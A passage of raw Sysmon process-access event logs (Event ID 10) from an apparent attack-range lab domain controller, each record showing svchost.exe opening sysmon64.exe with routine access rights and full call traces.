C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 